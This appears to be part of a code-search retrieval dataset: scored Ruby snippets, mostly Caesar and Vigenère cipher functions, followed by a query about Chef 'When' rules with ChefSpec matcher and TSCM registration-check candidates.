"score": "0.7543283",
"text": "def caesar_cipher(word, shift)\n letters = ('a'..'z').to_a.concat(('A'..'Z').to_a)\n cipher = \"\"\n\n #only shift alpha characters\n word.each_char do |c|\n cipher += letters.include?(c) ? letters[(letters.index(c) + shift) % 52] : c\n end\n\n cipher\nend",
"title": ""
},
{
"docid": "604249d959f22e1233a558838784ef1a",
"score": "0.7533804",
"text": "def vigenere_cipher(str, arr)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n results = \"\"\n str.each_char.with_index do |char, i|\n ind = (alphabet.index(char) + arr[0]) % 26\n results += alphabet[ind]\n arr.rotate!\n end\n results\nend",
"title": ""
},
{
"docid": "ef6bf8e21d4069b386aa3732eb85d259",
"score": "0.7528997",
"text": "def caesar_cipher(string, shift = DateTime.now.day) # I set shift to be the current day if I do not include a parameter for it\n string.tr Alphabet.join, Alphabet.map{ |array| array.rotate shift }.join # This looks at every single character in the string and uses .map to rotate the array to bascially let it shift how ever many times within the array to assign the new character to the string variable\nend",
"title": ""
},
{
"docid": "f377b9d8a22c3fbd1aa15da89c4339ef",
"score": "0.75207496",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n\tstr.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n\n end\n return new_str\n\nend",
"title": ""
},
{
"docid": "49a33f7c22af00fc24cae279b22d3a92",
"score": "0.7518806",
"text": "def caesar_cipher(str, num)\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n new_str = \"\"\r\n\r\n str.each_char do |char|\r\n old_idx = alphabet.index(char)\r\n new_idx = old_idx + num\r\n new_char = alphabet[new_idx % 26]\r\n new_str += new_char\r\n end\r\n\r\n return new_str\r\nend",
"title": ""
},
{
"docid": "f4ad9adcbdb050453af8bd849fb3c61d",
"score": "0.751373",
"text": "def vigenere_cipher(message, keys)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n cycle = 0\n result = \"\"\n\n message.each_char do |char|\n result += alphabet[(alphabet.index(char) + keys[cycle % keys.length]) % alphabet.length]\n cycle += 1\n end\n\n return result\nend",
"title": ""
},
{
"docid": "0c9e5e827e2bbb4f2bd8ed6b79158e87",
"score": "0.7503123",
"text": "def caesar_cipher(userWord, userShift)\n userWordArray = userWord.split(\"\") #Makes an array of characters\n shift = userShift%26\n c = []\n userWordArray.each do |letter|\n if letter.ord == 32\n c.push(letter)\n elsif letter.ord < 122\n b = letter.ord + shift\n c.push(b.chr)\n else\n b = letter.ord \n diff= (b-122) + shift\n b = 96+diff\n c.push(b.chr)\n end\n end\n c = c.join\nend",
"title": ""
},
{
"docid": "c145a0039cdd99550299c70e7449492e",
"score": "0.7501695",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n\n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend",
"title": ""
},
{
"docid": "3c778b031229e47f85e013b32370c017",
"score": "0.74924046",
"text": "def caesar_cipher(offset, string)\n\n result = \"\"\n\n array = string.split(\"\")\n\n i = 0\n\n while array.length > i\n\n ascii = array[i].ord\n p ascii\n\n if( array[i] != \" \") # keep space the same, do not add offset\n ascii += offset\n end\n\n if ascii >= 122 # IMPORTANT\n\n # look at note2self\n #\n back_round_from_a = ( ascii - \"a\".ord ) % 26\n #\n # look at note2self\n\n ascii = back_round_from_a + \"a\".ord\n # if x, i.e. x = 199 & offset = 3 so, total 122, then back_round_from_a = 0\n # Therefor, back_round_from_a + \"a\".ord === 0 + 97 => a\n\n end\n\n letter = ascii.chr\n p letter\n\n result += letter\n\n i += 1\n end # while\n\n p result\n\n return result\n\nend",
"title": ""
},
{
"docid": "52c2043cc8707400ca9ff9cf2acdaf80",
"score": "0.7490496",
"text": "def caesar_cipher(str, shift)\n alpha = ('a'..'z').to_a\n\n str.split(' ').map do |word|\n word.chars.map { |x| alpha[(alpha.index(x) + shift) % 26] }.join\n end.join(' ')\nend",
"title": ""
},
{
"docid": "831c9719591dee4e0d2b06ee6998b6d5",
"score": "0.748539",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n\n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend",
"title": ""
},
{
"docid": "c193111ae8aa80f8cdb59cfecf8fc3b3",
"score": "0.7484942",
"text": "def vigenere_cipher(word,arr)\n\n new_arr = []\n alp = (\"a\"..\"z\").to_a\n word.split(\"\").each.with_index do |char,i|\n old_index = alp.index(char)\n new_index = (alp.index(char)+ arr[i % arr.length]) % 26\n new_arr << alp[new_index]\n end\n new_arr.join(\"\")\n\nend",
"title": ""
},
{
"docid": "5bd663f792bfd2a072a163700ab75827",
"score": "0.74700975",
"text": "def caesar_cipher(num)\n alpha = (\"a\"..\"z\").to_a\n\n new_word = \"\"\n self.each_char do |char|\n old_ind = alpha.index(char)\n new_ind = (old_ind + num) % 26\n new_word += alpha[new_ind]\n end\n new_word\n end",
"title": ""
},
{
"docid": "88f20e69a8da33ea5c356aec4f36d7e0",
"score": "0.74687415",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend",
"title": ""
},
{
"docid": "3db7137c4570974c6bb5131e3e8f82e9",
"score": "0.74652195",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n \n return new_str\nend",
"title": ""
},
{
"docid": "9d42b31110c2f2eee37f76c6740e745f",
"score": "0.7463515",
"text": "def caesar_cipher(text, shift=0)\n return text if shift == 0 || text == \"\" || shift.nil? || text.nil?\n standard_key_caps = (\"A\"..\"Z\").to_a\n standard_key_lower = (\"a\"..\"z\").to_a\n\n while shift < 0 do\n shift += 26\n end\n\n i = shift % 26\n\n\n shift_key_caps = []\n range = ('A'..'Z').to_a\n range.each do |x|\n shift_key_caps[i] = x\n i+=1\n i=0 if i >= 26\n end\n\n i=shift\n shift_key_lower = []\n range = ('a'..'z').to_a\n range.each do |x|\n shift_key_lower[i] = x\n i+=1\n i=0 if i >= 26\n end\n\n text_mod = \"\"\n text.each_char do |x|\n character = x\n if standard_key_caps.include?(x)\n offset = shift_key_caps.index(x)\n character = standard_key_caps[offset]\n elsif standard_key_lower.include?(x)\n offset = shift_key_lower.index(x)\n character = standard_key_lower[offset]\n end\n text_mod = text_mod + character\n end\n text_mod\nend",
"title": ""
},
{
"docid": "5c651295d68f689980b50eaa60794653",
"score": "0.7455313",
"text": "def caesar_cipher(str, shift)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n \n str.each_char do |char|\n if alpha.index(char)\n old_idx = alpha.index(char)\n new_str += alpha[(old_idx + shift) % 26]\n else\n new_str += char\n end\n end\n\n new_str\nend",
"title": ""
},
{
"docid": "5f7c6a4e42053128c283fff2a17b5e8b",
"score": "0.74468476",
"text": "def caesar(string, key, flag)\n string_to_code = string.upcase.split(//).map.to_a\n cipher_key = LETTERS.rotate(key)\n string_to_code.each_with_index do |character,position|\n next if character == \" \"\n string_to_code[position] = cipher_key[LETTERS.index(character)] if flag == \"encode\"\n string_to_code[position] = LETTERS[cipher_key.index(character)] if flag == \"decode\"\n end\n string_to_code.join\nend",
"title": ""
},
{
"docid": "8b89ac4a170eacceb3c8e20cc2fd9c7f",
"score": "0.7444484",
"text": "def caesar_cipher(str, num)\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n cipher = ''\n\n (0...str.length).each do |i|\n char = str[i]\n index = alphabet.index(char) + num\n cipher += alphabet[index % 26]\n end\n return cipher\nend",
"title": ""
},
{
"docid": "0aa5e7582424b58412bcefd203bb6217",
"score": "0.7439978",
"text": "def caesarCipher(s, k)\n s.chars.map do |c|\n if 65 <= c.ord && c.ord <= 90\n # A-Z\n code_point = ((c.ord - 65 + k) % 26) + 65\n code_point.chr\n elsif 97 <= c.ord && c.ord <= 122\n # a-z\n code_point = ((c.ord - 97 + k) % 26) + 97\n code_point.chr\n else\n c\n end\n end.join\nend",
"title": ""
},
{
"docid": "5272c274caffbd0c4c710f10ee3c6434",
"score": "0.7436245",
"text": "def caesar_cipher(string,num)\n alpha = (\"a\"..\"z\").to_a \n string_array = \"\"\n string.each_char do |char|\n if alpha.include?(char)\n old_index = alpha.index(char)\n new_index = old_index + num \n string_array += alpha[new_index % 26]\n else\n string_array += char \n end\n\n end\n return string_array\nend",
"title": ""
},
{
"docid": "a45814de8522e390d883ad72b25b0241",
"score": "0.74300957",
"text": "def vigenere(key, txt)\n shift_array = key.get_shift\n count = 0\n\n txt_array = txt.split('')\n ciph=[]\n\n txt_array.each do |a|\n a = a.ord\n shift = shift_array[count % shift_array.size]\n case a\n when (64..90) \n new_char = ((a - 64 + shift) % 26) + 64 \n count += 1\n when (97..122)\n new_char = ((a- 97 + shift) % 26) + 97\n count += 1\n else \n new_char = a \n end\n ciph.push(new_char.chr)\n end\n\n ciph = ciph.join('')\n puts \"#{ciph}\"\nend",
"title": ""
},
{
"docid": "a46c68f66163700f51acd8857202c68f",
"score": "0.7418647",
"text": "def caesar_cipher text, shift = 5 #shifts letters by 5 - by default\nletters = text.split(//)\nncrypted_string = \"\"\nletters.each do |x|\nif (x =~ /\\w/) && (x =~ /\\D/) && (x != \"_\") ##Checks with RegEx's whether the current array index' value is a word character + a non-digit character + not an underscore '_', so only a-z & A-Z letters pass the test and are affected by the following code.\nif x == x.upcase ##<-I do this so I can wrap back to A when Z's #ord index is exceeded. \"A\".ord == 65, \"Z\".ord == 90\nx = x.ord + shift\nif x > 90\nx -= 90\nx += 64\nend\nelsif x == x.downcase ##Same is done here for downcases as is done above for upcases. \"a\".ord == 97, \"z\".ord == 122\nx = x.ord + shift\nif x > 122\nx -= 122\nx += 96\nend\nend\nx.chr\nend\nncrypted_string << x\nend\nputs ncrypted_string\nend",
"title": ""
},
{
"docid": "d6eca89bde9581da945c80a72085cf38",
"score": "0.7391442",
"text": "def caesar_cipher(message,key)\n\n key %= ALPHABET_LENGTH # reduces key if larger than ALPHABET_LENGTH\n\n cipher = message.codepoints.map do|ascii| # change string to ascii array\n if ASCII_UPPER.include?(ascii)\n # loops around ends (A to Z) and (Z to A) of alphabet if needed\n ascii -= ALPHABET_LENGTH if ascii + key > ASCII_UPPER.last \n ascii += ALPHABET_LENGTH if ascii + key < ASCII_UPPER.first\n ascii += key\n elsif ASCII_LOWER.include?(ascii)\n # loops around end (a to z) and (z to a) of alphabet if needed\n ascii -= ALPHABET_LENGTH if ascii + key > ASCII_LOWER.last\n ascii += ALPHABET_LENGTH if ascii + key < ASCII_LOWER.first\n ascii += key \n else\n ascii = ascii\n end\n end\n\n cipher.pack'U*' #converts ascii array to character string\n\nend",
"title": ""
},
{
"docid": "c81e8250095f24cedaf92b9e7893ab00",
"score": "0.7390921",
"text": "def caesar_cipher(str, shift)\n alphabet = ('a'..'z').to_a\n arr = []\n words = str.split\n words.each do |word|\n newword = ''\n word.each_char do |chr|\n idx = alphabet.index(chr) + shift\n newword += alphabet[idx % alphabet.length]\n end\n arr << newword\nend\n arr.join(' ')\nend",
"title": ""
},
{
"docid": "b07c7560f662384d1a7c8addfc0fd5ca",
"score": "0.7382416",
"text": "def caesar_cipher(sentence, raw_offset)\r\n offset = raw_offset % 26\r\n sentence.gsub(/([a-zA-Z])/){|char| shift_the_letter(char.ord, offset).chr}\r\nend",
"title": ""
},
{
"docid": "6a8dc99a0933b3d32ccbd4532aeeb808",
"score": "0.73698205",
"text": "def caesar_cipher(message,key)\n\n key %= ALPHABET_LENGTH # reduces key if larger than ALPHABET_LENGTH\n\n cipher = message.codepoints.map do|ascii| # change string to ascii array\n if ASCII_UPPER.include?(ascii)\n # loops around ends (A to Z) and (Z to A) of alphabet if needed\n ascii -= ALPHABET_LENGTH if ascii + key > ASCII_UPPER.last \n ascii += ALPHABET_LENGTH if ascii + key < ASCII_UPPER.first\n ascii += key\n elsif ASCII_LOWER.include?(ascii)\n # loops around end (a to z) and (z to a) of alphabet if needed\n ascii -= ALPHABET_LENGTH if ascii + key > ASCII_LOWER.last\n ascii += ALPHABET_LENGTH if ascii + key < ASCII_LOWER.first\n ascii += key \n else\n ascii = ascii\n end\n end\n cipher.pack'U*' #converts ascii array to character string\nend",
"title": ""
},
{
"docid": "12e726a2bfa16b1ddff9be626d16625b",
"score": "0.7342932",
"text": "def encrypt(string, key)\n string_array = string.split\n string_array.map! do |word|\n word_array = word.split (\"\")\n word_array.map! do |letter|\n ceasar(letter,key)\n end\n word = word_array.join\n end\n string_array.join(' ')\nend",
"title": ""
},
{
"docid": "3d1cd261d277d4326c929bddeed1273f",
"score": "0.7341353",
"text": "def caesar_cipher(string, shift_factor)\n\n\n upc_alphabet_arr = ('A'..'Z').to_a\n downc_alphabet_arr = ('a'..'z').to_a\n\n\n string_chars_arr = string.chars\n\n new_chars_arr = []\n\n string_chars_arr.each do |char|\n if upc_alphabet_arr.include?(char)\n new_index = (upc_alphabet_arr.index(char) + shift_factor)%26\n new_char = upc_alphabet_arr[new_index]\n\n new_chars_arr << new_char\n\n elsif downc_alphabet_arr.include?(char)\n new_index = (downc_alphabet_arr.index(char) + shift_factor)%26\n new_char = downc_alphabet_arr[new_index]\n\n new_chars_arr << new_char\n\n else \n new_chars_arr << char\n end\n end\n\n new_string = new_chars_arr.join(\"\")\n puts new_string\nend",
"title": ""
},
{
"docid": "6778645a34fc5640c293b7ec797d6339",
"score": "0.7328844",
"text": "def caesar_cipher(message, shift_key)\n result = \" \"\n message.each_char do |letter|\n if letter.ord.between?(65,90) || letter.ord.between?(97, 122)\n final_code = letter.ord + shift_key\n\n final_code -= 26 if (final_code > 91 && letter.ord < 91) || final_code > 122\n result += final_code.chr\n else\n result += letter\n end\n end\n return result\nend",
"title": ""
},
{
"docid": "4bcabb866246aeea5b6297cc4bfaa5e2",
"score": "0.7309679",
"text": "def caesar_cipher(str, shift)\n alphabet ||= ('a'..'z').to_a\n res = \"\"\n str.chars.each do |letter|\n if letter == \" \"\n res += letter\n else\n old_idx = alphabet.index(letter)\n new_idx = old_idx*shift % 26\n res += alphabet[new_idx]\n end\n end\n res\nend",
"title": ""
},
{
"docid": "240117f45ff1295e84f10d4672cef4cb",
"score": "0.73059976",
"text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.split('').each do |char|\n if char == \" \"\n encoded_str << \" \"\n next\n end\n\n old_idx = letters.find_index(char)\n new_idx = (old_idx + shift) % letters.count\n\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend",
"title": ""
},
{
"docid": "a8e3290b992b0fd64d4f6d930faa2475",
"score": "0.73044616",
"text": "def caesar_cipher(offset, string)\n\talph = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tnew_string = \"\"\n\tind = 0\n\n\tputs string.length \n\n\twhile i < string.length\n\t\t\n\t\t\n\t\t\n\t\tif string[i] == \" \"\n\t\t\tnew_string = new_string + \" \"\n\t\t\t\n\t\telse \n\t\t\tind = alph.index(string[i])\n\t\t\t\n\t\t\tif (ind + offset) > 25\n\t\t\t\tind = (ind + offset) - 26 \n\t\t\t\t\n\t\t\t\tnew_string = new_string + alph[(ind)]\n\t\t\t\t\n\t\t\telse \n\t\t\t\tnew_string = new_string + alph[(ind + offset)]\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\ti +=1\n\tend\n\n\treturn new_string\n\nend",
"title": ""
},
{
"docid": "2d6ac6a00eddd9bf1c89b75aa91ea9a0",
"score": "0.7297334",
"text": "def caesar_cipher(str, num)\n \talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n \tcipher = \"\"\n\n\tstr.each_char do |char|\n \tletterPos = alphabet.index(char)\n \tnewPos = letterPos + num\n \tcipher += alphabet[newPos % 26] # mod so wraps arround\n end\n \n \treturn cipher\nend",
"title": ""
},
{
"docid": "f8b9a5e1031ad4f5235c4c72978390f2",
"score": "0.7295077",
"text": "def caesar_cipher(string, shift_factor)\n alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n return string.split(//).map { |el|\n el.gsub(/\\w/, \"#{ind = alphabet.index(el).to_i + shift_factor\n until alphabet.index(el).to_i > 25 && ind < 52 || alphabet.index(el).to_i < 26 && ind < 26\n ind -= 26\n end\n alphabet[ind]}\")\n }.join\nend",
"title": ""
},
{
"docid": "804221ec43cc35aede3991164d7b751c",
"score": "0.72884417",
"text": "def caesar_cipher(phrase, shift)\n shifted_array = phrase.chars.map {|char| shift_letter(char, shift)}\n new_phrase = shifted_array.join\nend",
"title": ""
},
{
"docid": "d9a2417466e6b1c6eb893425f9e869d6",
"score": "0.72786033",
"text": "def caesar_cipher(string, shift)\n shifted = \"\"\n letters = (\"a\"..\"z\").to_a\n string.each_char do |char|\n old_idx = letters.find_index(char)\n if old_idx\n shifted << letters[(old_idx + shift) % 26]\n else\n shifted << \" \"\n end\n end\n\n shifted\nend",
"title": ""
},
{
"docid": "2f16d73f070e3c510f60d35bf06b310e",
"score": "0.72572273",
"text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.each_char do |char|\n if char == \" \"\n encoded_str << \" \"\n next\n end\n\n old_idx = letters.find_index(char)\n new_idx = (old_idx + shift) % letters.count\n\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend",
"title": ""
},
{
"docid": "6dae449c634463135af753fb563db7a0",
"score": "0.7244536",
"text": "def vigenere_cipher(string, key_sequence)\n\nend",
"title": ""
},
{
"docid": "7a1d600c0f66ec81122f79bb0234c2e4",
"score": "0.72354555",
"text": "def caesar_cipher(str, shift)\n alph = (\"a\"..\"z\").to_a\n\n decode = \"\"\n\n str.chars.each do |letter|\n if letter == \" \"\n decode << letter\n end\n\n num = alph.find_index(letter)\n decode << alph[(num + shift) % 26]\n end\n\n decode\nend",
"title": ""
},
{
"docid": "e9313635cdda202834c474b25ff93d98",
"score": "0.7234626",
"text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.chars.each do |char|\n if char == \" \"\n encoded_str += \" \"\n next\n end\n\n old_idx = letters.index(char)\n new_idx = (old_idx + shift) % letters.length\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend",
"title": ""
},
{
"docid": "688e0a2ce5eaea9db05cd5d86670cad1",
"score": "0.7229602",
"text": "def caesar_cipher(str, num)\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n cypher = alphabet.split(\"\").map.with_index do |char, i|\r\n if !(alphabet.split(\"\").index(char) + num >= alphabet.split(\"\").length)\r\n alphabet.split(\"\")[alphabet.split(\"\").index(char) + num]\r\n else\r\n alphabet.split(\"\")[alphabet.split(\"\").index(char) + num - alphabet.split(\"\").length]\r\n end\r\n end\r\n cryptography = ''\r\n str.each_char do |char|\r\n cryptography += cypher[alphabet.index(char)]\r\n end\r\n return cryptography\r\nend",
"title": ""
},
{
"docid": "ced1a68e4e5728801c9dcd789c09d012",
"score": "0.72289795",
"text": "def cipher(sentence, shift)\n # Funtion to cipher the word given a specific shift value to change the letter\n lowercase = 'abcdefghijklmnopqrstuvwxyz'\n uppercase = lowercase.upcase\n\n ciphered_word = []\n\n sentence.each_char.with_index do |char, idx|\n\n if lowercase.include?(char)\n index = lowercase.index(char)\n ciphered_word << lowercase[(index + shift) % 26]\n elsif uppercase.include?(char)\n index = uppercase.index(char)\n ciphered_word << uppercase[(index + shift) % 26]\n else\n ciphered_word << char\n end\n end\n\n return ciphered_word.join('')\n\nend",
"title": ""
},
{
"docid": "91082f1e5ca6ac329cba0b40c8e6d453",
"score": "0.72199476",
"text": "def caesar_cipher(str, shift)\n results = []\n #get all chars\n chars = str.split('')\n # if its a char included in alpha then get index num of low case\n alphabet = ('a'..'z').to_a\n chars.each do |char|\n if alphabet.include?(char.downcase)\n index = alphabet.index(char.downcase)\n results << alphabet[(index+shift)%26]\n else\n results << char\n end\n end\n # add the shift to index and get the modulo and get the letter indexd there\n # else pass the char to results because not a letter\n\n results.join('')\n\nend",
"title": ""
},
{
"docid": "85b1c622c1a4628c8bcbfcdaaedcc907",
"score": "0.7217208",
"text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n new_string = \"\"\n str.chars.each do |char|\n if letters.include?(char)\n shift_position = (letters.index(char) + shift) % 26\n new_string += letters[shift_position]\n else\n new_string += char\n end\n end\n new_string\nend",
"title": ""
},
{
"docid": "1efe10e6d6fccdb2b3911fec6c81b61b",
"score": "0.72170377",
"text": "def caesar(str, shift)\n\n alpha = ('a'..'z').to_a\n cipher = []\n\n str.split(\"\").map do |char|\n\n if alpha.include? char\n\n char_index = (alpha.index(char) + shift) % 26\n\n cipher << alpha[char_index]\n\n elsif alpha.include? char.downcase\n\n char_index = (alpha.index(char.downcase) + shift) % 26\n\n cipher << alpha[char_index].upcase\n\n\n else\n\n cipher << char\n\n end\n\n end\n\n cipher.join\n\nend",
"title": ""
},
{
"docid": "f2fc15f94c4b948f502fb484dbe60dc7",
"score": "0.7216018",
"text": "def caesar_cipher(str, num)\n \tnew_str = \"\"\n\n \tstr.each_char do |c|\n new_letter = c.ord + num\n if new_letter > 122\n shift = ((new_letter - 96) % 26) + 96\n new_str += shift.chr\n else\n new_str += new_letter.chr\n end\n end\n return new_str\nend",
"title": ""
},
{
"docid": "8d05dd30c856e8ee02693dec12bbbdce",
"score": "0.7210731",
"text": "def caesar_cipher(string, shift)\n alphabet = Array('a'..'z')\n encrypter = Hash[alphabet.zip(alphabet.rotate(shift))]\n string.chars.map { |c| encrypter.fetch(c, \" \") }\nend",
"title": ""
},
{
"docid": "55678e1484b0c2ea2421ab5cec850d02",
"score": "0.7209966",
"text": "def caesar_cipher(word, shift)\n\tletters = ('a'..'z').to_a.concat(('A'..'Z').to_a) # create array of all possible chars\n\tdecoded = \"\"\n\n\tword.each_char do |c| \n\t\tif letters.include?(c)\t\n\t\t\tdecoded += letters[letters.index(c) - shift]\n\t\telse\n\t\t\tdecoded += c # adds non-alpha char to the decoded string\n\t\tend\n\tend\n\t decoded\nend",
"title": ""
},
{
"docid": "55678e1484b0c2ea2421ab5cec850d02",
"score": "0.7209966",
"text": "def caesar_cipher(word, shift)\n\tletters = ('a'..'z').to_a.concat(('A'..'Z').to_a) # create array of all possible chars\n\tdecoded = \"\"\n\n\tword.each_char do |c| \n\t\tif letters.include?(c)\t\n\t\t\tdecoded += letters[letters.index(c) - shift]\n\t\telse\n\t\t\tdecoded += c # adds non-alpha char to the decoded string\n\t\tend\n\tend\n\t decoded\nend",
"title": ""
},
{
"docid": "58c1048e8ee58a46f481aea362ea917f",
"score": "0.720869",
"text": "def caesar_cipher(string, shift)\n begin\n shift = shift % 26\n new_string = \"\"\n letters = string.split('')\n letters.each do |i|\n if i >='a' && i <= 'z'\n encrypted = i.ord + shift\n if encrypted > 122 # ASCII for 'z'; wraps around to 'a'\n encrypted = encrypted - 26\n end\n elsif i >='A' && i <= 'Z'\n encrypted = i.ord + shift\n if encrypted > 90 # ASCII for 'Z'; wraps around to 'A'\n encrypted = encrypted - 26\n end\n else\n encrypted = i\n end\n new_string << encrypted.chr\n end\n return new_string\n rescue TypeError\n return \"Invalid shift factor. Please enter a number.\"\n end\nend",
"title": ""
},
{
"docid": "60a8980e3d4d64fd1e628da9025959ca",
"score": "0.7207608",
"text": "def vigenere_cipher(message, keys)\n key_idx = 0\n new_message = \"\"\n message.each_char do |char|\n new_message += cipher(char, keys[key_idx])\n key_idx = (key_idx + 1) % keys.length\n end\n\n new_message\nend",
"title": ""
},
{
"docid": "e831de2742917729f5495beac39c9679",
"score": "0.7204336",
"text": "def Caesar_cipher(input_string,input_shift)\n\n alphabet = ('a'..'z').to_a\n alphabetUpCase = ('A'..'Z').to_a\n\n input_string.each_char {|letter| \n if letter =~ /[A-Z]/\n new_letter_index = alphabetUpCase.index(letter) + input_shift\n if new_letter_index > 25\n new_letter_index -= 26\n puts alphabetUpCase[new_letter_index]\n else\n puts alphabetUpCase[new_letter_index]\n end\n elsif letter =~ /[a-z]/\n new_letter_index = alphabet.index(letter) + input_shift\n if new_letter_index > 25\n new_letter_index -= 25\n puts alphabet[new_letter_index]\n else\n puts alphabet[new_letter_index]\n end\n else\n puts letter\n end\n }\nend",
"title": ""
},
{
"docid": "0e2996185086786701b40ec94bfe29c8",
"score": "0.72039425",
"text": "def caesar_encode(word, rotations)\n letters = word.split('')\n letter_indexes = letters.map{|letter| alphabet.index(letter)}\n rotated_alphabet = alphabet.rotate(rotations)\n rotated_alphabet.values_at(*letter_indexes).join\n end",
"title": ""
},
{
"docid": "3acc518f863b03e6a7e0fdf170d639da",
"score": "0.7199006",
"text": "def caesar_cipher(caesar_string, shift_factor) \n alphabet = (\"a\"..\"z\").to_a\n new_string = \"\"\n\n caesar_string.each_char do |input|\n if input == \" \"\n new_string += \" \"\n else \n old_index = alphabet.find_index(input)\n new_index = (old_index + shift_factor) % alphabet.count\n new_string += alphabet[new_index]\n end\n end\n\nputs new_string.chomp\n\nend",
"title": ""
}
] |
1f5528c671a8e6de6047ea27ebd723a3 | creates a When rule or block When blocks should return true or false whether the current resource matches what you expect: When /there (are|is an|is a|is) (.)/ do |resource, regex| resource.keys.first==regex[2] end When rules will group conditions and rules together: When there is a machine And already installed Then reboot | [
{
"docid": "8a3436db9ca81b2ce7fbcf6f96dfdeba",
"score": "0.54106724",
"text": "def When(concat, &block)\n if concat.respond_to? :content\n @condition = when_factory(concat)\n conditions << @condition\n else\n when_rules << [concat, block]\n end\n end",
"title": ""
}
] | [
{
"docid": "2cdef4e895fe4ed2fa04c86d11a1029c",
"score": "0.62718576",
"text": "def define_resource_matchers(actions, resource_types, name_attribute)\n actions.product(resource_types).flatten.each_slice(2) do |action, resource_type|\n RSpec::Matchers.define \"#{action}_#{resource_type}\".to_sym do |name|\n match do |chef_run|\n accepted_types = [resource_type.to_s]\n accepted_types << 'template' if action.to_s == 'create' and resource_type.to_s == 'file'\n chef_run.resources.any? do |resource|\n accepted_types.include? resource_type(resource) and resource.send(name_attribute) == name and\n resource.action.to_s.include? action.to_s\n end\n end\n failure_message_for_should do |actual|\n \"No #{resource_type} resource named '#{name}' with action :#{action} found.\"\n end\n failure_message_for_should_not do |actual|\n \"Found #{resource_type} resource named '#{name}' with action :#{action} that should not exist.\"\n end\n end\n end\nend",
"title": ""
},
{
"docid": "d860d72a551cee0dcd8ba6daab86b08a",
"score": "0.5617601",
"text": "def validate_registration\n case node['platform']\n when 'windows'\n #if node[:tscm].attribute?(:register_status)\n if ((node['tscm']['regStatus']).to_s == 'success') \n node.set['tscm']['regHealth'] = 'ko'\n Chef::Log.info('TSCM registartion already successful thus skipping validation to check the registration success')\n else\n ruby_block 'register_validate' do\n block do\n # powershell_out(\"mv #{node['tscm']['register_log']} C:\\\\register_report\")\n if ::File.exist?(\"#{node['tscm']['register_log']}\") && ::File.readlines(\"#{node['tscm']['register_log']}\").grep(/Added client: /).size > 0\n Chef::Log.info('TSCM agent registered successfully')\n node.set['tscm']['regStatus'] = 'success' && node.set['tscm']['regHealth'] = 'success'\n # node.set['tscm']['regHealth'] = 'success'\n else\n if ::File.exist?(\"#{node['tscm']['register_log']}\") && ::File.readlines(\"#{node['tscm']['register_log']}\").grep(/The client is already registered /).size > 0\n Chef::Log.info('The client already registered with TSCM, Skipping all the steps.')\n node.set['tscm']['regStatus'] = 'success'\n node.set['tscm']['regHealth'] = 'ko'\n else\n Chef::Log.info('TSCM agent not registered, Manual Intervention needed to check further.')\n node.set['tscm']['regStatus'] = 'failure'\n end\n end\n end\n action :run\n end\n end\n end\nend",
"title": ""
},
{
"docid": "4d56aab3373f2be437ee9a9124888f83",
"score": "0.55987495",
"text": "def install_ark(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:ark, :install, resource_name)\nend",
"title": ""
},
{
"docid": "2f086bea922183254d4729c0ad848498",
"score": "0.5496769",
"text": "def create_env(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:env, :create, resource_name)\n end",
"title": ""
},
{
"docid": "b2c14a32698df72d4c41dc5a8c0b3204",
"score": "0.5461153",
